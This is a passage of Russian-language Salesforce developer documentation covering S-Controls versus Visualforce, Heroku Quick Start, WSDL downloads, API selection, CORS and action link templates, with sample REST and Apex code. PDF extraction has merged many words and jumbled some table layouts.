{!SControl_JavaCodebase} и {!SControl_JavaArchive} доступныприиспользовании Java-приложения.

• Чтобывставитьполяслияния, используемыевдействиях, выберитепункт«Событие»или«Задача» враскрывающемся
списке «Выбрать тип поля». Система Salesforce автоматически кодирует текст любого поля слияния, добавленного в
ссылку.

СМ. ТАКЖЕ:

Определение настраиваемых элементов S-Control

Сравнение страниц Visualforce с элементами S-Control

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control не могут быть созданы организациями,
где они ранее не использовались. Текущие элементы S-Control останутся без изменений и будут доступны для
редактирования.

Страницы Visualforce, отличающиеся повышенной производительностьюи простым созданием, считаются следующим
поколением элементов S-Control и должны использоваться взамен элементов S-Control по мере возможности. В таблице
ниже описаны различия между страницами Visualforce и элементами S-Control.
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Элементы S-ControlСтраницы Visualforce

HTML, JavaScript, Ajax ToolkitHTML, XMLОбязательныетехническиенавыки

Процедурный кодРазметка на основе теговСтиль языка

Создание HTML и JavaScript для всей
страницы

Компоновка стандартных и
настраиваемых компонентов
посредством тегов

Модельпереопределениястраницы

НетДаБиблиотека стандартных
компонентов Salesforce

НетДа, посредством стандартного
контроллера

Доступ к встроенному алгоритму
платформы

Нет

Разработчики не могут связывать
компонент ввода с отдельным полем.

Да

Разработчики могут связывать
компонент ввода (например, текстовое

Привязка данных

Чтобы обновить базу данныхполе) с отдельным полем (например,
пользовательскимизначениямиполей,«Имя организации»). Значение,
разработчики должны создать код
JavaScript, использующий API.

сохраненное пользователем в
компоненте ввода, также сохраняется
в базе данных.

Нет, таблицы стилей Salesforce
добавляются вручную

ДаНаследование таблицы стилей

Да, при кодировании в JavaScript
посредством API-вызова describe

При попытке сохранения записи,
нарушающей уникальность или

Да, по умолчанию

При попытке сохранения записи,
нарушающей уникальность или
обязательность атрибутов полей,
сообщение об ошибке отображается

Соблюдение метаданных поля
(например, уникальности)

обязательность атрибутов полей,
автоматически, а попытка может быть
повторена позже.

сообщение об ошибке отображается
только при наличии кода, созданного
разработчиком элементов S-Control и
предназначенного для проверки
атрибутов.

Косвенное, путем использования
методов Apex webService
посредством API

Прямое, путем связывания с
настраиваемым контроллером

Взаимодействие с Apex

Низкая (каждый API-вызов требует
полного обхода сервера;

Высокая (разметка создается на
платфоме Force.com)

Производительность

производительность определяется
уровнем нагрузки)
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Элементы S-ControlСтраницы Visualforce

В iFrameСобственныйКонтейнер страницы

СМ. ТАКЖЕ:

Общие сведения об элементах S-Control

Visualforce

Интеграция приложений в Salesforce

Общие сведения о средстве предварительного просмотра приложения холста

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Professional Edition (при
использовании API и
Force.com Canvas) и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к средству
предварительного
просмотра:
• «Настройка

приложения»

И

«Изменение всех
данных»

Средствопредварительногопросмотраприложенияхолста — этоинструментразработки,
позволяющийоткрыватьнеопубликованныеприложенияхолста дляпредварительного
просмотра. Чтобыпросмотретьприложениехолста, выполнитеуказанныенижедействия.

1. Введите строку «Средство предварительного просмотра приложений холста» в поле
«Быстрый поиск» в меню «Настройка» и выберите пункт «Средство
предварительного просмотра приложений холста».

2. Щелкнитенужноеприложениехолстаналевойбоковойпанели. Приложениехолста
будет доступно в рамке.

Дополнительную информацию см. в Руководстве разработчика Force.com Canvas.

Быстрый пуск Heroku

Кнопка «Быстрыйпуск Heroku» позволяетсоздатьприложение Heroku исоответствующее
приложение холста в системе Salesforce. Ниже перечислены поля, доступные для
заполнения.

ОписаниеПоле

Шаблон Heroku, используемый для
создания приложения Heroku.

Шаблон

Имя приложения холста. Максимальная
длина: 30 символов.

Имя приложения холста

Имя приложения Heroku. Имя должно
начинаться с буквы и может содержать
только строчные буквы, цифры, и тире.
Данноеимястановитсячастью URL-адреса

Имя приложения Heroku

приложения. Максимальная длина:
30 символов.

Описание приложения холста. Данное
описание отображается при

Описание приложения холста

редактировании приложения холста в
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ОписаниеПоле

системе Salesforce. Максимальная длина: 200 символов.

Способ проверки подлинности на платформе Heroku,
используемыйбыстрымпускомдлясозданияприложения
холста.

Тип проверки подлинности

• «OAuth»: использованиемаркера Heroku, еслитекущим
пользователем выполнен вход на платформу Heroku; в
противном случае, инициирование OAuth-процесса
Heroku.

• «Имя пользователя/пароль»: использование имени
пользователя и пароля Heroku.

• «Ключ API»: использование API-ключа Heroku.

Имя пользователя, используемое для входа в Heroku.
Регистрационные данные указанного пользователя
используются при создании приложения Heroku.

Имя пользователя Heroku

Прим.: Данное поле может содержать не более
30 символов. Еслиимяпользователя Heroku содержит
более 30 символов, введите связанный API-ключ в
поле «API-ключ Heroku».

Пароль, используемый для входа в Heroku.Пароль Heroku

API-ключ, который может использоваться взамен
связанного имени пользователя и пароля Heroku. Чтобы

API-ключ Heroku

получитьданное значение, воспользуйтесь страницей My
Account платформы Heroku.

Прим.: Имя пользователя и пароль Heroku не сохраняются и используются только для безопасного подключения
при создании приложения.

СМ. ТАКЖЕ:

Общие сведения о связанных приложениях

Создание связанного приложения
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Операционная область поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Пакеты AppExchange и
Visualforce доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Apex доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Для просмотра
зависимостей Apex:
• «Автор Apex»

Для просмотра
зависимостей Visualforce:
• «Режим разработчика»

Поля, отображаемые на странице «Операционная область поля», используются
посредством операционной области.

• При наличиифлажка «Обновлено» поле обновляется посредством операции DML
(например, insert или update). Дополнительную информацию см. в разделе
«Общие сведения о зависимостях» на странице 5980.

При отсутствии флажка «Обновлено» поле используется только операционной
областью. Например, поле может быть добавлено как часть оператора select.

• При наличиифлажка «Внешний код» поле выступает в качестве внешнего кода.
Поле внешнего кода содержит уникальные идентификаторы записи из системы,
находящейся за пределами Salesforce. Поиск значений внешнего кода может быть
выполнен на боковой панели, а поле может использоваться в Force.com API. При
использовании мастера импорта данных для настраиваемых объектов и решений
данное поле позволяет предотвратить создание повторов.

СМ. ТАКЖЕ:

Общие сведения о зависимостях
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Загрузка файлов WSDL и сертификатов проверки подлинности клиента Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки файла WSDL:
• «Настройка

приложения»

Чтобы загрузить документ WSDL, предназначенный для интеграции приложений в
систему Salesforce, воспользуйтесь интерфейсом API.

Ниже перечислены доступные типыфайлов WSDL.

• Enterprise WSDL: данныйдокумент WSDL позволяетсоздатьинтеграциюдляотдельной
организации.Документ Enterprise WSDL является строго типизированным, так как
содержит объекты и поля с определенными типами данных (например, int и
string). Документ Еnterprise WSDL, загруженный клиентами, должен повторно
использоваться при каждом изменении настраиваемых объектов или полей
организации или используемой версии интерфейса API.

• Partner WSDL: данныйдокумент WSDL позволяет создатьинтеграциюдлянескольких
организацийSalesforce, независимоотихнастраиваемыхобъектовилиполей. Обычно
данный документ WSDL используется партнерами и независимыми поставщиками
ПО. Данный документ является слабо типизированным, то есть позволяет изменять
именаи значенияполейвместоопределенныхтиповданных.ДокументРartner WSDL,
загруженныйклиентами, должениспользоваться для каждойверсииAPI толькоодин
раз.

• Apex WSDL: данный документ WSDL позволяет выполнять или компилировать Apex
в другой среде.

• Metadata WSDL: данный документ WSDL позволяет переносить изменения конфигурации между организациями и
работать с настройками организации как с XML-файлами метаданных.

Чтобы загрузить документ WSDL, выполните указанные ниже действия.

1. Введите строку «API» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «API».

2. Загрузите нужный документ WSDL.

• Чтобызагрузитьдокумент Enterprise WSDL прииспользованииуправляемыхпакетов, установленныхворганизации,
нажмитекнопку«Создать Enterprise WSDL». СистемаSalesforceпредлагаетвыбратьверсиюкаждогоустановленного
пакета, которая должна содержать созданный документ WSDL.

• Чтобысохранитьдокумент WSDL влокальныйкаталог, щелкнитесоответствующуюссылкуправойкнопкоймыши.
Прииспользованииобозревателя Internet Explorer выберитепункт контекстногоменю «Сохранитьобъекткак...».
При использовании обозревателя Mozilla Firefox выберите пункт контекстного меню «Сохранить ссылку как...».

3. Импортируйте локальную копию документа WSDL в среду разработки.

Прим.: Чтобывыбратьстандартныеверсиипакетабез загрузкидокумента WSDL, воспользуйтесьразделом «Параметры
версии пакета».

Принеобходимостизагрузите сертификатдляпроверкиподлинностиорганизаций Salesforce. Данныйсертификатможет
использоваться для отправки исходящих сообщений бизнес-правил. Данный сертификат позволяет указать, что запрос
отправленсистемойSalesforce, анеотдельнымпользователем. Чтобыиспользоватьсертификатыдляустановкибезопасных
подключений посредством других функций Salesforce (например, выноски Apex), воспользуйтесь сертификатами и
криптографическими парами Salesforce.

Введитестроку «API» вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт «API», настранице «Загрузка
WSDL» щелкнитеправойкнопкоймыши «Загрузитьсертификатклиента»исохранитесертификатв соответствующем

5697

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



месте. Затем импортируйте загруженный сертификат на сервер приложений и настройте данный сервер для проверки
сертификата клиента.

СМ. ТАКЖЕ:

Руководство разработчика Apex

Руководство разработчика Metadata API

Какой API следует использовать?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
интерфейсов API:
• «API включен»

Система Salesforce поддерживает программный доступ к данным организации путем
использования простого и надежного интерфейса прикладного программирования.

ПередачаФормат данныхПротоколAPI-имя

СинхроннаяJSON, XMLRESTREST API

СинхроннаяXMLSOAP (WSDL)SOAP API

Синхронная
(фотографии
обрабатываются
асинхронно)

JSON, XMLRESTChatter REST API

АсинхроннаяCSV, XMLRESTBulk API

АсинхроннаяXMLSOAP (WSDL)Metadata API

Асинхронная
(поток данных)

JSONBayeuxStreaming API

СинхроннаяJSON, XML,
настраиваемый

RESTApex REST API

СинхроннаяXMLSOAP (WSDL)Apex SOAP API

СинхроннаяJSON, XML,
настраиваемый

REST или SOAP
(WSDL)

Tooling API

Когда следует использовать REST API?

REST API — это надежный и удобный интерфейс веб-служб на основе REST для взаимодействия с системой Salesforce.
Преимуществаданногоинтерфейса заключаютсяв удобствеинтеграциииразвертывания, поэтомуонидеальноподходит
дляиспользованияв веб-проектахиприложенияхдлямобильныхустройств. Однакодляобработкибольшогоколичества
записейрекомендуемиспользоватьBulk API, которыйоснованнаинтерфейсе REST ипредназначендляобработкибольших
объемов данных.

Когда следует использовать SOAP API?

SOAP API — это надежный и удобный интерфейс веб-служб на основе SOAP для взаимодействия с системой Salesforce.
SOAP API может использоваться для создания, извлечения, обновления или удаления записей. Кроме того, SOAP API
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поддерживает возможность поиска и выполнения многих других действий. SOAP API может использоваться на любом
языке, поддерживаемом веб-службами.

Например, с помощью интерфейса SOAP API можно интегрировать Salesforce в данные из системы планирования
бизнес-ресурсов и финансовую систему вашей организации. Также можно передавать в режиме реального времени
сведения о продажах на корпоративные порталы, а также добавлять информацию о клиентах в наиболее важные
бизнес-системы.

Когда следует использовать Chatter REST API?

Рекомендуем использовать интерфейс Chatter REST API для отображения данных Salesforce (особенно при использовании
мобильных приложений). Отклики локализуются, структурируются для представления и могут фильтроваться по
содержанию, необходимому для приложения. Помимолент, пользователей, группиотслеживающихChatter, интерфейс
Chatter REST API предоставляет программный доступ к файлам, рекомендациям, темам, уведомлениям, приобретениям
Data.com и т. д. Chatter REST API аналогичен интерфейсам API, предоставляемым другими компаниями для лент (например,
Facebook и Twitter), но также предоставляет функции Salesforce вне Chatter.

Когда следует использовать Bulk API?

Bulk API основан на интерфейсе REST и предназначен для загрузки или удаления больших наборов данных. Его можно
использоватьдля асинхроннойвставки, обновления, вставкисобновлением, запросаилиудалениябольшогоколичества
записей путем отправки нескольких пакетов. Salesforce обрабатывает пакеты в фоновом режиме.

Тогда как SOAP API разработан специально для клиентских приложений, работающих в режиме реального времени и
позволяющих обновить за один раз небольшое количество записей. SOAP API можно использовать для обработки
большого количества записей, однако производительность SOAP API резко снижается при загрузке наборов данных с
сотнями тысяч записей. Bulk API разработан специально для быстрой и удобной обработки больших наборов данных —
от нескольких тысяч до нескольких миллионов записей.

Самый простой способ использования Bulk API — это обработка записей в Data Loader с помощью CSV-файлов. При
использовании Data Loader пользователю не придется создавать собственное клиентское приложение.

Когда следует использовать Metadata API?

Metadata API может использоваться для извлечения, развертывания, создания, обновления или удаления настроек
организации. Перенос изменений из безопасной среды или пробной организации в производственную среду — это
наиболее типичное применение Metadata API. Metadata API предназначен для управления настройками и разработки
инструментов, позволяющих управлять моделью метаданных, а не самими метаданными.

ДлядоступакфункциямMetadata APIможноиспользовать средуразработки Force.com IDEилисредствомиграции Force.com
Migration Tool. Оба эти средства встроены в верхней частиMetadata API и содержат стандартные инструменты Eclipse и Ant
(соответственно) для более удобного использованияMetadata API.

• Среда Force.com IDE создананаплатформе Eclipse дляпрограммистов, умеющихработать синтегрированнымисредами
разработки. Онапозволяетпрограммировать, компилировать, тестироватьиразвертыватьприложенияводномместе.

• Средствомиграции Force.com Migration Tool — этоидеальноерешениедляперемещенияметаданныхмеждулокальным
каталогом и организацией Salesforce посредством использования сценария или командной строки.

Когда следует использовать Streaming API?

Streaming APIможетиспользоватьсядляполученияуведомленийобизмененииданных, которыесоответствуютзаданному
запросу SOQL.
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Интерфейс Streaming API поддерживает активную доставку уведомлений от сервера до клиентского приложения.
Рекомендуемиспользовать Streaming API вприложениях, выполняющихчастыеопросы. Приложения, которыепостоянно
опрашиваютинфраструктуру Salesforce, расходуютлишниевызовыAPIитратят времянаобработку. Интерфейс Streaming
API сокращает количество запросов, возвращающих пустые результаты, и особо эффективен при использовании с
приложениями, которые требуют общего уведомления об изменении данных.

При этом благодаря Streaming API снижается количество вызовов API и повышается производительность.

Когда следует использовать Apex REST API?

Apex REST API может использоваться для представления классов и методов Apex, поддерживающих доступ внешних
приложений к коду посредством архитектуры REST. Интерфейс Apex REST API поддерживает OAuth 2.0 и код сеанса для
авторизации.

Когда следует использовать Apex SOAP API?

Apex SOAP API может использоваться для представления методов Apex в виде интерфейсов API веб-службы SOAP,
поддерживающих доступ внешних приложений к коду посредством SOAP.

Интерфейс Apex SOAP API поддерживает OAuth 2.0 и код сеанса для авторизации.

Когда следует использовать Tooling API?

Используйте Tooling API для интеграции метаданных Salesforce с другими системами. Типы метаданных представляются
в виде объектов sObject, поэтому вы можете получить доступ к компоненту сложного типа. Такой доступ на уровне поля
ускоряет операции на сложных типах метаданных. Можно также создавать собственные средства разработки для
приложений Force.com. Например, используйте интерфейс Tooling API для управления и развертывания рабочих копий
классов и триггеров Apex или страниц и компонентов Visualforce. Также с его помощьюможно настраивать контрольные
точки или маркеры дампов динамической памяти, выполнять анонимные Apex и получать доступ к сведениям о ведении
журнала и покрытии кода.

Поддерживается как REST, так и SOAP.
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Использование CORS для доступа к интерфейсам Chatter REST API и REST API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, чтения,
обновления и удаления:
• «Изменение всех

данных»

Интерфейсы Chatter REST API и REST API поддерживают CORS. Чтобы получить доступ к
данным интерфейсам API из JavaScript в веб-обозревателе, добавьте происхождение,
обслуживающее сценарий, в список разрешенных CORS.

CORS — это рекомендация W3C, позволяющая веб-обозревателям запрашивать ресурсы
из сторонних происхождений. Например, благодаря CORS, сценарий JavaScript,
используемый сайтом https://www.primer.ru, может запросить ресурс из
https://www.salesforce.com.

Если обозреватель, поддерживающий CORS, запрашивает происхождение в списке
разрешенных CORS системы Salesforce, то система Salesforce возвращает происхождение
в HTTP-заголовке Access-Control-Allow-Origin наряду с любыми
дополнительными HTTP-заголовками CORS. При отсутствии происхождения в списке
разрешенных система Salesforce возвращает код состояния HTTP 403.

1. Введите строку «CORS» в поле «Быстрый поиск», затем выберите пункт «CORS».

2. Нажмите кнопку «Создать».

3. Введите шаблон URL-адреса происхождения.

Шаблон URL-адресапроисхождениядолженсодержатьпротокол HTTPS иимядомена,
а такжеможетсодержатьпорт. Системапозволяетиспользоватьспециальныйсимвол
(*), который должен отображаться перед именем домена второго уровня. Например,
https://*.primer.ru добавляет в список разрешенных все субдомены
primer.ru.

Шаблон URL-адреса происхожденияможет быть IP-адресом. Темнеменее, IP-адрес и домен, принадлежащийданному
адресу, не могут иметь одинаковое происхождение и должны быть добавлены в список разрешенных CORS как
отдельные объекты.

Важное замечание: Маркер OAuth должен по-прежнему передаваться для соответствующих запросов.

Шаблоны ссылок действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Все
версии, кроме Personal
Edition.

Создайте шаблоны ссылок действий в меню «Настройка» для обработки групп ссылок
действий с общими свойствами из Chatter REST API или Apex. При необходимости
распространите пакетированныешаблоны среди других организаций Salesforce.

Ссылка действия — это кнопка в элементе ленты. Выбор ссылки действия может
инициировать открытие веб-страницы, загрузку файла или выполнение вызова API к
системе Salesforce или внешнему серверу. Ссылка действия содержит URL-адрес и метод
HTTP, а также может содержать сведения о тексте запроса и заголовке (например, маркер
OAuth дляпроверкиподлинности). Ссылкидействийпозволяютинтегрировать систему
Salesforce и сторонние службы в ленту, предоставляя пользователям возможность
повышения производительности и ускорения темпов модернизации.

В данном примере кнопки «Утвердить» и «Отклонить» являются ссылками действий, выполняющими вызовы API к
интерфейсу REST API выдуманного туристического веб-сайта для утверждения или отклонения маршрута поездки. При
создании маршрута поездки туристический веб-сайт отправляет запрос Chatter REST API на публикацию элемента ленты,
содержащего ссылки действий для утверждения или отклонения маршрута менеджером пользователя.
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Важное замечание: Ссылки действий — это компонент разработчика. Несмотря на создание шаблонов ссылок
действий в меню «Настройка», рекомендуем использовать Apex или Chatter REST API для создания ссылок действий
на основе шаблонов и их добавления в элементы ленты.

Разработка шаблонов ссылок действий
Преждечемсоздатьшаблон, определите значения, которыедолжныбыть заданывшаблоне, а также значения, которые
должны быть заданы посредством переменных связывания при обработке групп ссылок действий из шаблона.

Создание шаблонов ссылок действий
Создайтешаблоныссылокдействийвменю «Настройка» дляобработки группссылокдействийсобщимисвойствами
изChatter REST APIилиApex. Принеобходимостираспространитепакетированныешаблонысредидругихорганизаций
Salesforce.

Редактирование шаблонов ссылок действий
Пользователи могут редактировать все поля неопубликованногошаблона группы ссылок действий и связанных
шаблонов ссылок действий.

Удаление шаблонов групп ссылок действий
Удалениешаблона группыссылокдействийинициирует удаление связанныхшаблонов ссылокдействийивсех групп
ссылок действий, обработанныхиз данныхшаблонов. Удаленные группы ссылок действийбольшене отображаются
в связанных элементах ленты.

Пакетирование шаблонов ссылок действий
Пакетированиешаблонов ссылок действий способствует их распространению среди других организаций Salesforce.

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.chatterapi.meta/chatterapi/features_action_links.htm

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/connectapi_features_action_links.htm
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Разработка шаблонов ссылок действий
Прежде чем создать шаблон, определите значения, которые должны быть заданы в шаблоне, а также значения, которые
должны быть заданы посредством переменных связывания при обработке групп ссылок действий из шаблона.

• Общие сведения о шаблонах ссылок действий

• Рекомендации по разработке шаблонов

• Определение времени истечения срока действия для группы ссылок действий

• Определение переменных связывания

• Настройка параметров доступности ссылки действия

• Использование переменных контекста

Общие сведения о шаблонах ссылок действий

Так выглядит шаблон группы ссылок действий в меню «Настройка».

Каждая группа ссылок действий должна содержать как минимум одну ссылку действия. Данныйпримершаблона ссылки
действия использует три переменных связывания: номер версии API в поле «URL-адрес действия», номер элемента в
поле «Текст запроса HTTP» и значение маркера OAuth в поле «Заголовки HTTP».

5703

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



Ниже приведен запрос Chatter REST API на обработку группы ссылок действий и назначение значений переменных
связывания.

POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings":[

{
"key":"ApiVersion",
"value":"v1.0"

},
{

"key":"ItemNumber",
"value":"8675309"

},
{

"key":"BearerToken",

"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}

]
}

5704

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



Ниже приведен код Apex, обрабатывающий группу ссылок действий из шаблона и задающий значения переменных
связывания.

// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];

// Add binding name-value pairs to a map.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemNumber', '8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');

// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {

ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();

bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);

}

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

Рекомендации по разработке шаблонов

Ниже перечислены рекомендации по разработке шаблона.

• Определите время истечения срока действия для группы ссылок действий.

См. подраздел «Определение времени истечения срока действия для группы ссылок действий».

• Определитепеременныесвязываниявшаблонеизадайтеихзначенияприобработке группы. Нерекомендуемиспользовать
шаблоны для хранения конфиденциальной информации. Рекомендуем использовать переменные связывания для
добавления конфиденциальной информации при выполнении.

См. подраздел «Определение переменных связывания».

• Определите пользователей, которым должна быть доступна ссылка действия, связанная с элементом ленты.

См. подраздел «Настройка параметров доступности ссылки действия».

• Рекомендуем использовать переменные контекста в шаблоне для получения информации о контексте выполнения
ссылки действия.

5705

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



Привыполненииссылкидействия система Salesforce вставляет значенияиотправляетих в запросе HTTP. См. подраздел
«Использование переменных контекста».

Определение времени истечения срока действия для группы ссылок действий

Присозданиигруппыссылокдействийизшаблонадатаистечениясрокадействияможетвычислятьсянаосновепериода,
указанного в шаблоне, или срок действия группы ссылок действий может быть неограниченным.

Чтобы задать часы до истечения срока действия в шаблоне, заполните поле «Часы до истечения срока действия» в
шаблоне группы ссылок действий. Данное значение определяет время отображения обработанной группы ссылок
действий до ее удаления из связанных элементов ленты. Максимальное значение — 8 760 (или 365 дней).

Чтобы задать дату истечения срока действия при обработке группы ссылок действий, настройте свойство
expirationDate для текста запроса «Определение группы ссылок действий» (Chatter REST API) или класса ввода
ConnectApi.ActionLinkGroupDefinition  (Apex).

Чтобы создать группу ссылок действий без срока действия, пропустите поле «Часы до истечения срока действия» и
свойство expirationDate при обработке группы ссылок действий.

Ниже приведен алгоритм взаимодействия свойства expirationDate и поля «Часы до истечения срока действия»
при создании группы ссылок действий из шаблона.

• Если пользователь настраивает свойство expirationDate, то новая группа ссылок действий использует его
значение.

• Еслипользовательпропускаетсвойство expirationDate, нозаполняетполе «Часы до истечения срока действия»,
то новая группа ссылок действий использует значение поля «Часы до истечения срока действия».

• Если пользователь пропускает свойство expirationDate или поле «Часы до истечения срока действия», то
срок действия группы ссылок действий, обработанной из шаблона, считается неограниченным.

Определение переменных связывания

Определите переменные связывания в шаблонах и задайте их значения при обработке группы ссылок действий.

Важное замечание: Не рекомендуем использовать шаблоны для хранения конфиденциальной информации.
Рекомендуем использовать переменные связывания для добавления конфиденциальной информации при
выполнении. Заданное значение связывания хранится в системе Salesforce в зашифрованном виде.

При необходимости определите переменные связывания в полях «URL-адрес действия», «Текст запроса HTTP» и
«Заголовки HTTP» шаблона ссылки действия. После публикациишаблона пользователи могут редактировать данные
поля, перемещать переменные связывания между данными полями и удалять переменные связывания. Тем не менее,
пользователи не могут добавлять новые переменные связывания.

Определите ключ переменной связывания в шаблоне. При обработке группы ссылок действий укажите ключ и его
значение.

Ключи переменной связывания имеют следующийформат: {!Bindings.ключ}.

Ключ поддерживает символыЮникод в предопределенном классе символов \w:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].

Данное поле «URL-адрес действия» содержит две переменных связывания.

https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
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Данное поле «Заголовки HTTP» содержит две переменных связывания.

Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}

Укажите ключи и их значения при обработке группы ссылок действий в Chatter REST API.

POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings" : [

{
"key":"ApiVersion",
"value":"1.0"

},
{

"key":"ItemId",
"value":"8675309"

},
{

"key":"OAuthToken",
"value":"00DRR0000000N0g_!..."

},
{

"key":"ContentType",
"value":"application/json"

}
]

}

Укажите ключи переменной связывания и задайте их значения в Apex.

Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemId', '8675309');
bindingMap.put('OAuthToken', '00DRR0000000N0g_!...');
bindingMap.put('ContentType', 'application/json');

List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new

ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);

}

// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r';
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
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// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

Совет: Одна переменная связывания может использоваться повторно в шаблонах ссылок действий, а значение
может быть задано всего один раз при обработке. Например, общая переменная {!Bindings.MyBinding}
может использоваться в поле «Текст запроса HTTP» одногошаблона ссылки действия, а затем в поле «Заголовки
HTTP» другогошаблона ссылки действия, относящегося к томужешаблону группы ссылок действий, поэтому при
обработке группы ссылок действий из шаблона пользователь может задать только одно значение для данной
переменной.

Настройка параметров доступности ссылки действия

Чтобыопределитьпользователей, которымдолжнабытьдоступнассылкадействия, связаннаяс элементомленты, выберите
нужное значение из раскрывающегося списка «Доступность пользователя».

Данное поле поддерживает разные значения, включая значения «Доступно только настраиваемому пользователю» и
«Доступновсем, кроменастраиваемогопользователя». Чтобыразрешитьилизапретитьпросмотрссылкидействия только
конкретному пользователю, выберите одно из указанных выше значений. Затем заполните поле «Псевдоним
настраиваемого пользователя». Данное значение является ключом переменной связывания. При использовании кода,
обрабатывающего группу ссылок действий, введите данный ключ и укажите его значение.

Данныйшаблон использует поле «Псевдоним настраиваемого пользователя» со значением «Приглашенный».
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При обработке группы ссылок действий задайте значение (аналогично настройке переменной связывания).

POST /connect/action-link-group-definitions

{
"templateId":"07gD00000004C9r",
"templateBindings" : [

{
"key":"Invitee",
"value":"005D00000017u6x"

}
]

}

При выборе значения «Доступно только менеджеру автора» пользователю без менеджера отображается ошибка
обработки группы ссылок действий из шаблона. Кроме того, менеджером является менеджер, выбранный на момент
обработки. Последующее изменение менеджера пользователя не учитывается.
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Использование переменных контекста

Рекомендуемиспользоватьпеременныеконтекста дляпередачисведенийопользователе, выполнившемссылкудействия,
и связанного контекста в запрос HTTP, выполненный при вызове ссылки действия. При необходимости воспользуйтесь
переменными контекста в свойствах actionUrl, headers и requestBody для текста запроса «Ввод определения
ссылки действия» или объекта ConnectApi.ActionLinkDefinitionInput. При необходимости воспользуйтесь
переменнымиконтекставполях «URL-адрес действия», «Текст запроса HTTP» и «Заголовки HTTP» шаблоновссылок
действий. Пользователимогутредактироватьданныеполя, включаядобавлениеиудалениепеременныхконтекста, после
публикациишаблона.

Ниже перечислены доступные переменные контекста.

ОписаниеПеременная контекста

Код ссылки действия, выполненной пользователем.{!actionLinkId}

Код группы ссылок действий, которая содержит ссылку
действия, выполненную пользователем.

{!actionLinkGroupId}

Код сообщества, выбранного пользователем для
выполнения ссылки действия. Значению внутренней

{!communityId}

организации соответствует пустой ключ
"000000000000000000".

URL-адрес сообщества, выбранного пользователем для
выполнения ссылки действия. Значению внутренней
организации соответствует пустая строка "".

{!communityUrl}

Код организации, выбранной пользователем для
выполнения ссылки действия.

{!orgId}

